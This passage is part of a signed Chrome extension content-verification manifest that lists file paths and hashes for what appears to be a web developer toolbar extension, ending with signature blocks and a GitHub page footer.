zP8Ooc"},{"path":"common/images/logos/16.png","root_hash":"YE-a8c3-awPsCkaNVRH7wTPatquDyVXCbiibM2xxFh8"},{"path":"common/images/logos/32.png","root_hash":"uh8-VpFpHNFm2G0JsodJARIuj2LLgwTy46QtcfLEUfY"},{"path":"common/images/logos/48.png","root_hash":"6zlllQottSjbPEG9u1A5Xo3dwn8m3l94iS0lLc9l2w4"},{"path":"common/images/logos/64.png","root_hash":"dI5aWRB4qVYUsobej8F8j13XgX-dFjl15sl3XpM-VR0"},{"path":"common/images/logos/favicon.ico","root_hash":"JIVws8DNjMo6Bf_EjoT5nu8tE1qknMHf5MVn0YXs4xs"},{"path":"common/javascript/bootstrap/collapse.js","root_hash":"gL7uPVVulCrTrnqPCOTm6lgwsQwfYvutys_ntcQXa0s"},{"path":"common/javascript/bootstrap/dropdown.js","root_hash":"y-aDg1vFXH6ycGOuGWUVD-_XUV5K17g6c50HV5BHZfc"},{"path":"common/javascript/bootstrap/modal.js","root_hash":"VptnNciKZiDuiF5GxOUeEHB1R3nsw6ymohUW2nHERSE"},{"path":"common/javascript/bootstrap/popover.js","root_hash":"Se8W8Q4BUjdM53O_seMqoFMY0RxRKcmAQnTXh3xHedc"},{"path":"common/javascript/bootstrap/tab.js","root_hash":"2QxdtfGc_ipvRwsEtOoebppxuzm7wO6ynoJyuM96XFM"},{"path":"common/javascript/bootstrap/tooltip.js","root_hash":"DUF3_4SH24sLMh4FRxs0Ll2tkhMf9bDmNsWNZ_ueLOY"},{"path":"common/javascript/bootstrap/transition.js","root_hash":"WXiaerz_lqFhWnTEfAR7ywtomFnPOvSMJaX29xKNXCo"},{"path":"common/javascript/codemirror/codemirror.js","root_hash":"rs8Akf8PSfI0q5uEYYWdfzpXnIbSRpospm-FhVSkRS4"},{"path":"common/javascript/codemirror/css.js","root_hash":"oqYG9Q1gZmo2pD3SLMC5ZhrHtwm6tNYO2PCwALHGAGA"},{"path":"common/javascript/codemirror/htmlmixed.js","root_hash":"DeZ2CR2m-s5g8i9IXu2JFZghA4E_rVF_DCkDiYw-vdk"},{"path":"common/javascript/codemirror/javascript.js","root_hash":"ZHpkk7BnYDN3QOvFKzUN1yLFYDxb_5rac2hbQUi-hxA"},{"path":"common/javascript/codemirror/searchcursor.js","root_hash":"TYalO2HtXRuQgslm2TStej1BNbaOOUGLlb9P8MEe4XI"},{"path":"common/javascript/codemirror/xml.js","root_hash":"Fh9vs4tBAkBI4fDIW5wfYAF05y5_6Qamf9VUOE5dufU"},{"path":"common/javascript/common.js","root_hash":"ICby9Y1X-_7p2_0VBMaSvEMYm6ZoYzWJa7JNUtuteWc"},{"path":"common/javascript/css.js","root_hash":"kAkkS-iKOxOrz5WfELc3mL82YsUrveZwQwv5pqf_Qpw"},{"path":"common/javascript/jquery/icanhaz.js","root_hash":"kfRPesQ1Wlf3cmUw9e466BFKS_di30rB9zulET5us7Q"},{"path":"common/javascript/jquery/jquery.js","root_hash":"1j_CelQc2WafrQcs96GHAPgXpttM9HEpMQPLx5Id5jc"},{"path":"common/javascript/jquery/tablednd.js","root_hash":"_dKk-jdu2ws53JUbAYzbP_yaZ1Ui5VtM3U8mEMKpJW4"},{"path":"common/style-sheets/bootstrap.css","root_hash":"D3mTe1hSdbh3OzpLTfq3egQHpMan8fcZSHLkQBzbU6E"},{"path":"common/style-sheets/generated.css","root_hash":"eO13F7xOm0jOb9cvtalYT_JEpQ1nq57ygbBhDoI1F2o"},{"path":"common/style-sheets/syntax-highlight.css","root_hash":"EJb7fe21G92pqcRxOBtVPH4E2yg-_9wFODTnpWc6f8w"},{"path":"content/content.js","root_hash":"S6IOn3jBh22kbhKKkJ1a5rdTAZgsNXlfHyCyK8cCgJU"},{"path":"cookies/cookies.js","root_hash":"JtYbUpPdxJJ7IBJ27c_xLCXIOWy2QX3wd7R1ZFLc25U"},{"path":"dashboard/images/logo.png","root_hash":"aDW7IkVq9O9sA5fh8sCUDvv_R-PpU-VEerK51POYeTk"},{"path":"dashboard/javascript/dashboard.js","root_hash":"o6Co_r5dVDxs-lEsPbPc6HT-KviDcxUrK7uDZ62wo-U"},{"path":"dashboard/javascript/html/dashboard.js","root_hash":"6MV5ZY0mo1Jn4Mb9QAfheDWIS4XgKN-eBnY1B6bE178"},{"path":"dashboard/style-sheets/common.css","root_hash":"zPqytYdFylx2jFSM7-H9HE3rv-UUOIEFFjXNbRRCe_c"},{"path":"dashboard/style-sheets/dashboard.css","root_hash":"oFbQb8RvHUS6Zfwiu1wYGV7Ubm5rp5eYNKxUH79_LKI"},{"path":"features/javascript/css.js","root_hash":"a5XtW5OwuOskXdoSxvvZJpNn9e23Akmzu5clawmtTPU"},{"path":"features/javascript/forms.js","root_hash":"mSyr8q9Ubj_zGHhA8xQWiWj4T1XikY0ey8D3xyMJZTU"},{"path":"features/javascript/images.js","root_hash":"o6vw0L2JG6SZDnrMiYPI4MdbE6RMvQEg3_GGZxuM2nI"},{"path":"features/javascript/information.js","root_hash":"kGgvewaVHST8HegDqoqB71H8YVmOlYgMYE_R5t06NDc"},{"path":"features/javascript/miscellaneous.js","root_hash":"ZEN1nyG2Lb43AUP5Vclf3qsYjlojIOAp_DN4MSVE8XA"},{"path":"features/javascript/outline.js","root_hash":"tAVHtD02B7g27C9wGyApEQSFLE3kDoEvjKJ6P6JGN9E"},{"path":"features/style-sheets/before.css","root_hash":"DEke73OTIEW7px9GBtf1ooqvmc92j3n_x15R3VSNTuw"},{"path":"features/style-sheets/css/disable-browser-default-styles.css","root_hash":"Px4MpORh-zdE_40UtfjCuvF03G_0AUMRybKnMiTZiSE"},{"path":"features/style-sheets/css/use-border-box-model.css","root_hash":"tETBZdbOuU96636GKt41NipiIB1s1LnZUUmb6M8n6bQ"},{"path":"features/style-sheets/forms/display-form-details.css","root_hash":"p_1EDUaO3mG0J69k2bYkz9PjYNIFJ1_4WpQ7sSzKs_w"},{"path":"features/style-sheets/forms/outline-form-fields-without-labels.css","root_hash":"PyjkNESgkV9KYWg1n2ne8dmiqWrfIyO91k0XsY9ZdoU"},{"path":"features/style-sheets/images/display-image-dimensions.css","root_hash":"b3WbeBb8ifuCtrYosiRkmdVJsnnaEIIcmxzWC_Wkg0w"},{"path":"features/style-sheets/images/hide-background-images.css","root_hash":"nFUBcTO1gdF8HpnA6uSL3uamY4wsEO2-wCJSYzwNwE8"},{"path":"features/style-sheets/images/hide-images.css","root_hash":"62t9PmJV6GK7P6W5uTN1fynk6LKKf30hgc77elzvvwc"},{"path":"features/style-sheets/images/make-images-invisible.css","root_hash":"_aCkMqrbvvm_D-3n1U1ffy3iuEjDUiEWd21jB-QHk_o"},{"path":"features/style-sheets/images/outline-all-images.css","root_hash":"KPQuqQKE40WNpbd2Xjt1qDVQMMeovetMFdXJMHFHuv0"},{"path":"features/style-sheets/images/outline-background-images.css","root_hash":"gCyLG-KbUPBRL7aBMUx3q6Vs4eiF92RsQR2ZfA7JwcY"},{"path":"features/style-sheets/images/outline-images-with-adjusted-dimensions.css","root_hash":"YO8FXK1_H-OzH91288l-b9yLGfUA8lQ43tg11KJkWPg"},{"path":"features/style-sheets/images/outline-images-with-empty-alt-attributes.css","root_hash":"D6xLBvCN1Sq3HO5wCQsbiu7SYQQbOz1py_Gwtb3DOwA"},{"path":"features/style-sheets/images/outline-images-with-oversized-dimensions.css","root_hash":"vdUvnM5FOmls2DK-mw17X801UwuN8sJmyM0s2g5V_1w"},{"path":"features/style-sheets/images/outline-images-without-alt-attributes.css","root_hash":"RCk8BwBGeG_f-uZ9WPX0LylyICOxxoCaihupo9Tu3a0"},{"path":"features/style-sheets/images/outline-images-without-dimensions.css","root_hash":"Qb5qIPEcW5vNpcb6p3t8E5rDksh-o6wAFDxhS2n2C38"},{"path":"features/style-sheets/images/transparent.png","root_hash":"BGT0W0laWqyNDm7dTMAA_vTT-QGHuhp7f685z0CHCF8"},{"path":"features/style-sheets/information/display-abbreviations.css","root_hash":"rde4FyXUGQUny0qQuKCswZyULkgBpQr_GHk2fY6IUXI"},{"path":"features/style-sheets/information/display-aria-roles.css","root_hash":"3jwu1HMnDlpF_oB6gqVkIfjhCNdrRK7zQVVKpgRB9dY"},{"path":"features/style-sheets/information/display-div-dimensions.css","root_hash":"0SOX0l6vnHir2Do5W7KFfTSSU7pISP8lcSlVss7woYA"},{"path":"features/style-sheets/information/display-div-order.css","root_hash":"0SOX0l6vnHir2Do5W7KFfTSSU7pISP8lcSlVss7woYA"},{"path":"features/style-sheets/information/display-link-details.css","root_hash":"zMvgZPFTmLXseKLeb9HAevXp9KHd26VCMA_FE2xcjho"},{"path":"features/style-sheets/information/display-object-information.css","root_hash":"U5bWCPj0siMga0cjWTB5j3Ui68gweXgH_fSREpFw25w"},{"path":"features/style-sheets/information/display-table-information.css","root_hash":"w3MyMo2OuXJxqA0tSqh3ZEWPEuWI_4kkjDFk5RCKHYw"},{"path":"features/style-sheets/information/display-topographic-information.css","root_hash":"1waSRzHVGTaByssUCH2YjEltc9OLYUCbkCj5rCL4XwM"},{"path":"features/style-sheets/miscellaneous/linearize-page.css","root_hash":"ART9o9bTJFxogu2lYlRnJlzoDB9jaBQlhVw1k22p0GI"},{"path":"features/style-sheets/outline/outline-block-level-elements-before.css","root_hash":"rhDw3oow5TEkndMMUy8MiZ-qg6kWpV3FBmgxD6pEK6E"},{"path":"features/style-sheets/outline/outline-block-level-elements.css","root_hash":"2qul6Nq_2-8_DVA1dXPZoODZLVvPjx1wwgZATyvAzws"},{"path":"features/style-sheets/outline/outline-deprecated-elements-before.css","root_hash":"IBkzgQazhbl3q6lGGKHaWNj68mWTA_gCKY93lCgzk08"},{"path":"features/style-sheets/outline/outline-deprecated-elements.css","root_hash":"0cYl02_bhmtQmbl-Syq0dQyE6gcT38p0cDqhNc3zhZA"},{"path":"features/style-sheets/outline/outline-floated-elements.css","root_hash":"UA8iC-Ukyt1pn7luW7cXpquH_pGPL-wsYwFIVKKTpOo"},{"path":"features/style-sheets/outline/outline-frames.css","root_hash":"ir0RBYzUK5DrO1USMgXAzZJoxsfR8qlLLQSS3Tuw8o4"},{"path":"features/style-sheets/outline/outline-headings-before.css","root_hash":"hgGHObDJqUQqrcyTT2wII7jwOTNsVn1M5K2-WI4fwlk"},{"path":"features/style-sheets/outline/outline-headings.css","root_hash":"jl0AYE6NJlT3B5Wp1hp4uCQpWJKQ_zi6dwPsdehSlgg"},{"path":"features/style-sheets/outline/outline-non-secure-elements.css","root_hash":"QQ17Sf5SYQ3AvR1LtD_HkmryihlrTdU1dLQIvJGqLI0"},{"path":"features/style-sheets/outline/outline-positioned-elements.css","root_hash":"EvHxBygQVwo-UR16zDSDRiEs6mFh_4Nb8sLmpu36b-Y"},{"path":"features/style-sheets/outline/outline-table-captions.css","root_hash":"q_c5NzcE3Per3gtIXqj64lSVmA2NwmlWhe5Cl5oIZo8"},{"path":"features/style-sheets/outline/outline-table-cells-before.css","root_hash":"vMV8TmWGvRRZI28xu6qDzTPu0u03Kkct_-_QWsNN900"},{"path":"features/style-sheets/outline/outline-table-cells.css","root_hash":"O0ZyYtnROR0smkEyxuAVXYMvLfrYHIQfuKieJToVHq8"},{"path":"features/style-sheets/outline/outline-tables.css","root_hash":"sUB7BwwHuAtj4v2eNTGZ9ScbL7NR-I2fk6J_iF6RdYI"},{"path":"generated/find-broken-images.html","root_hash":"BTzd96Q6qLPaK_Scc5DSJfHi0PP-Qn52QL1HyGH_OMo"},{"path":"generated/find-duplicate-ids.html","root_hash":"tqraBfFe335kVWbdSSFbHAi_CiujaebokPgWAcvZfUg"},{"path":"generated/javascript/beautify/beautify.js","root_hash":"_GPOGHW-28OrOLmbxNa_b1GXDa30hFnknYsKNoFhmDk"},{"path":"generated/javascript/common.js","root_hash":"8u2LekE3vMBf3gnoP6I5CdDyYmq_kLV0owU2bi49ex4"},{"path":"generated/javascript/find-broken-images.js","root_hash":"ifgKA2NeS0QXILp7lHH21RStW4s8x3kyGTjreRndYk0"},{"path":"generated/javascript/find-duplicate-ids.js","root_hash":"2SzievG9vhQ8nxyfZc6aIUdTxw9z6z5J_mym7JKCFVo"},{"path":"generated/javascript/view-anchor-information.js","root_hash":"6evYs5MsAuu49vD_133wwIFHstGauMs910yYNIi2z9E"},{"path":"generated/javascript/view-color-information.js","root_hash":"pnPk8Onl3TMVKetldIJ0AOFaGKwVsEr8PhpgNPDnBzM"},{"path":"generated/javascript/view-cookie-information.js","root_hash":"8PoFOhfbiZxZ6VMA0x8kCMwyCMKvQ7O-O8bI3OidnwA"},{"path":"generated/javascript/view-css.js","root_hash":"nW-RXRto4fxhEKv74MQCrE5IA8Dn1VXG3eBZ_7-vGyc"},{"path":"generated/javascript/view-document-outline.js","root_hash":"usxTGY2UPVpR5E40bvpEYCMMLzsxBi7IjgdIPpccZPw"},{"path":"generated/javascript/view-form-information.js","root_hash":"qO-7B6-aDrG1iWyezLaHxTFDb0UtJp4JDkz3GzFP7qY"},{"path":"generated/javascript/view-image-information.js","root_hash":"pibYQbZ-i-dDJVJm3R1hK8_pu22CwqLQ1kAJd2rF4kc"},{"path":"generated/javascript/view-javascript.js","root_hash":"CmaIzhzMnjbzpeZaJzs8S5lUiooy42076wCpzPfjshM"},{"path":"generated/javascript/view-link-information.js","root_hash":"H6J9avEn8lF_7EK8L2Jfx9xwPoA1_zjs3UmxAkDrCzs"},{"path":"generated/javascript/view-meta-tag-information.js","root_hash":"xUp5ztaQsKxCGn9RIHjRsXyiC41V4gkWhrN6EM7PI-I"},{"path":"generated/javascript/view-response-headers.js","root_hash":"ZukNDj7Js4W5P4AgDd2UL67xJ2kVSzOHQ27Z6lvgvNs"},{"path":"generated/javascript/view-responsive-layouts.js","root_hash":"AMvoq4M7WFoGYo9_fwNh1cMO_h7X2sKFlLHRmuf6kMM"},{"path":"generated/view-anchor-information.html","root_hash":"r1MpgTNE_WZQgfvWNT_iH-IQoX_q3lFSu4JUkw9705w"},{"path":"generated/view-color-information.css","root_hash":"1yO6Vc32fydBXjIYs0n80bVC5u86D-fuyCuQjd92CL0"},{"path":"generated/view-color-information.html","root_hash":"fIKouIfez6CxjsgJt5hANkiovlzI06WTUs6m-a89avU"},{"path":"generated/view-cookie-information.css","root_hash":"Go0v2kfky5fdGpzQTG1hO0EufeXAYKyhb37j94hR2Kk"},{"path":"generated/view-cookie-information.html","root_hash":"o9QPiRTk50gh4AW5F7NS36mU3prX2DGflOvILyyz4u4"},{"path":"generated/view-css.html","root_hash":"TJvFFrpBVzjc2O113qZIxhFjHh9nZHMmRq-XGjtusjI"},{"path":"generated/view-document-outline.css","root_hash":"1Q2i617oZiubbCymU_K7S_LWxiTszHm711BwfIbmnoQ"},{"path":"generated/view-document-outline.html","root_hash":"vHzDc0qIGMRY5RUFnVvRW14wlWl_zr0_DzX7YjSB5nU"},{"path":"generated/view-form-information.css","root_hash":"AyB2VsdjBriZWMJ2nZAR2UrBVd0bgSgy3zp75k0EUCQ"},{"path":"generated/view-form-information.html","root_hash":"IU8WiV3tQ9RfR1nXvbDU5s7oAAIsao-63x4LZKLeuiQ"},{"path":"generated/view-image-information.css","root_hash":"aeSLAwtdmDp-_KOoJpyNuk_nUOZJTcde35I3KdwGs3w"},{"path":"generated/view-image-information.html","root_hash":"lDcpv0a51zKZfmi75K9l8dFTGjxvX_mGNduIjiXWmzg"},{"path":"generated/view-javascript.css","root_hash":"mjvy29Q1sogqIUa3i-SPaX4sytEyuk5S3M4gjJa1lqw"},{"path":"generated/view-javascript.html","root_hash":"jr7OprDlT3Sya8jWo53PIWO1BweAXFNvzEYxYkKmGuc"},{"path":"generated/view-link-information.html","root_hash":"VSsKiVOjpHlYkk-Agcp3d5TpeIjjRWuV5SHkIxX5jEY"},{"path":"generated/view-meta-tag-information.html","root_hash":"hXMMr8wUieGNeLLuqC5MkR57os2GJGUCMntrJ8Pfxk0"},{"path":"generated/view-response-headers.html","root_hash":"gYeI2DsET7WD7uoneikSL4J4ykqCWbJo2OxqE0nnmL8"},{"path":"generated/view-responsive-layouts.css","root_hash":"sTeia_dupEmMV8Q2w01JQgMHjgAoWn3TwC_-CChOTmY"},{"path":"generated/view-responsive-layouts.html","root_hash":"mVOsw8JUq_QNTXj7fjekTdwMTheyrKr3BxMg-_neLmw"},{"path":"license.txt","root_hash":"BZq1wL--7aiDAa_lIo_ziGhmgrgdkwxJ5PnbwMeBkVc"},{"path":"locales/locales.js","root_hash":"Ce4nXaQ5Wy6a0WesbjGxs5BYLt16vkKbvUDMTXDeNQ4"},{"path":"manifest.json","root_hash":"lxHqI_nkSn25fORdZmlxfz7_MW9ppVowWp06nHebQ5c"},{"path":"options/images/options-2x.png","root_hash":"EQZbqiUvYNnaCr-ccAsnFRyio-cQEiTS_tVg0Hsuidk"},{"path":"options/images/options.png","root_hash":"Od7TRdc7CcO19z4RWJ2xH-h4j6RcrmBwPqxa68SzXr8"},{"path":"options/javascript/options.js","root_hash":"x5jH4McfzGjuvyy4N6a3pUqfNQ7n1UyqH8XHU7b-gqA"},{"path":"options/javascript/syntax-highlight.js","root_hash":"DOyv1esSFE7lOYxrU_YwoX-s5cIoOAVqfM30cDgX9zY"},{"path":"options/options.css","root_hash":"e4SN1_ZLiFCtccqknyjWKA-oSYT5X7KTF_W7YI4bDs4"},{"path":"options/options.html","root_hash":"j3BtPgPyMbqcQKurVg7_deMRZi4iHUXtjZgT02O3uMk"},{"path":"options/syntax-highlight.css","root_hash":"lXVEZP9MqcSKsWSw0XS37SGrUGmNRFLUMmgrUrntEQI"},{"path":"options/syntax-highlight.html","root_hash":"VxEodUBuNuZmILwhNOXucjevChAUedoJpWyVMQKbQp4"},{"path":"overlay/images/feature-2x.png","root_hash":"uXTTUp_u2YlPllsBU3z-QMIFYjN0Z43FjFQZGQP5wO0"},{"path":"overlay/images/feature.png","root_hash":"0_0xZwmkAbc8k476O--bvp91sVLRwBGWXsTO11IbUm0"},{"path":"overlay/images/icon-2x.png","root_hash":"e4MOgg2FBFuHFeRA_XOBvkitYU4RxWGGLoH9qvmvgHE"},{"path":"overlay/images/icon-color-2x.png","root_hash":"rEQ66CKm04aGZBfQRY-N6tjr4o81WeM_pPBa0C4izws"},{"path":"overlay/images/icon-color.png","root_hash":"sht1W-PFih8pm-hvhhddj8kf2i5KxUJv2-nAax3Eq-8"},{"path":"overlay/images/icon.png","root_hash":"uURGaOQkEq0FLYDVNpSKBJzYzxEmO4udRKVBnwoiCb4"},{"path":"overlay/images/toolbar-2x.png","root_hash":"AzlWXWU67YH2iNtPL4eTdd-h4vhdCFHAqbokalDA0O4"},{"path":"overlay/images/toolbar.png","root_hash":"h7tFHj-PZaDKCo_5Vscw-dB8-2P-_0rYcePTEWyVcb0"},{"path":"overlay/javascript/overlay.js","root_hash":"S6E-sSpojr1GizPWhjhkIJ10OMLJXenIDFAZPZD_VnE"},{"path":"overlay/overlay.css","root_hash":"KLL9OcMi86l8f5yoz3PjTBB_uK1Bz5zYKR1PeN_JuQc"},{"path":"overlay/overlay.html","root_hash":"quaVY_oqqUghc_c-6nfqFfRzVp7Sak9gfKVOMPE_3xk"},{"path":"storage/storage.js","root_hash":"DdHH62zBlq4TdN-W9O__oQ8UhKDpSnjpePoei3nAaGo"},{"path":"toolbar/color-picker-toolbar.css","root_hash":"dNQ-vSGLcHLCOhxnS9Hpj2USvjWlPXt6PNCIYRQ_sYM"},{"path":"toolbar/color-picker.css","root_hash":"oPcKoYpfYX3HndnsrgMPQ9Su-W7PFc-OgOFnfHixz2E"},{"path":"toolbar/element-ancestors.css","root_hash":"sabapyV-jh3hc6z7tKhVSnJN6YLBVtpa4vZYkR5WDnM"},{"path":"toolbar/element-information.css","root_hash":"YAWk5kbgOrJRp5aHbFrYt9zboPls-dkVdIcA08p8fK8"},{"path":"toolbar/images/logo.png","root_hash":"aDW7IkVq9O9sA5fh8sCUDvv_R-PpU-VEerK51POYeTk"},{"path":"toolbar/javascript/color-picker.js","root_hash":"ZEWlsmL-kGF20N5lwps3zRkziYo39X3h32YJ0apj3mY"},{"path":"toolbar/javascript/line-guides.js","root_hash":"fxqNj_8epuAXf_8k2TX22P_zFv2k2dXRBustLLvVQ6Y"},{"path":"toolbar/javascript/ruler.js","root_hash":"Y3vpXWzO8c9A_xwehFTbkIrrurbR_1nEB8NUrbOQxDo"},{"path":"toolbar/line-guides-toolbar.css","root_hash":"M62MjraPn9iImfuQRYCIIhMka_F22BcCK31ncBM5cgU"},{"path":"toolbar/line-guides.css","root_hash":"BEiYtnQR1GE9J37G-Z-0bYWI9tgXxFySPgWho6Hyi3c"},{"path":"toolbar/ruler-toolbar.css","root_hash":"NIxRfEVe9F8HqPfUkz6ee4hrV13bmyN0clYWVJKixi8"},{"path":"toolbar/ruler.css","root_hash":"ZHH6NkjnVcYZQl_xy3NUN3iS2523dZFZReCnV9j7wZ0"},{"path":"upgrade/upgrade.js","root_hash":"TwPnbexu-BYyY3nZzDwYxH3wfzb_XqQerol4evOfW6o"},{"path":"validation/css.html","root_hash":"Ia-WZiaM5W5mhF6W29z4jM4CRhWQXXtWrkv0xEQ9rAQ"},{"path":"validation/html.html","root_hash":"ddm8CplSM-XCLvy5ldUMcMymXDWkpesR6xRwZvxJkVg"},{"path":"validation/javascript/css.js","root_hash":"yTgWQSHPYA9tm0-wNuhZ3piOizhB9fba9FeX7mB0j3c"},{"path":"validation/javascript/html.js","root_hash":"Dz4AaR_iGXQz9A9A9RlNqb4ruwm-01IrI4183TBU3NM"}],"format":"treehash","hash_block_size":4096}],"item_id":"bfbameneiokkgbdmiekhjnmfkcnldhhm","item_version":"0.4.9","protocol_version":1}","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"6giCudooK5ppPNTpchUhwBxXcdQBcglGdwXICkuzbasGqI6eel3-Kqry4ctRxdd3idUxCI3IsXvjXtuD-uwFvwseJkTDSL1AXCMhnVr0fPaS_oAJRHz50WJHXOpTVoJIiskReujoXiNzaVR6k-12d2mTYBbbhyXU9jP4O7r70aM"},{"header":{"kid":"webstore"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"Aq3HcRIQqtS_GFcEQX6AijBEPo1CMaPUqbK5M00AvefuWiTKtWSIpziDf5CUgdnwSNuyqJNHMWlvx6RH4fTei6-wrxelRXrYvRh8sCN8PjTNiquZJaA-h2gUWi0WeOPcws1a-DNSxmYepI4BC0MOzMkfbml-61wAEZNpOb9s67S5s4LT34dFSGZWAqwI61tOwMvWMc8HQNPG2cUL1ak0oylTJZDEZ_0lPbvt6-mFXJbv7c0hbfcQ-cQ-XTauaKrBCZn2bGI4v0988vkPFwzH7NnJ16VDDWY7IIvZyWG79jTJe2tXYUkqc3nzYZv2HVvnndrvk_hURe-Z9fbziHTG2g"}]}}]
\ No newline at end of file
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment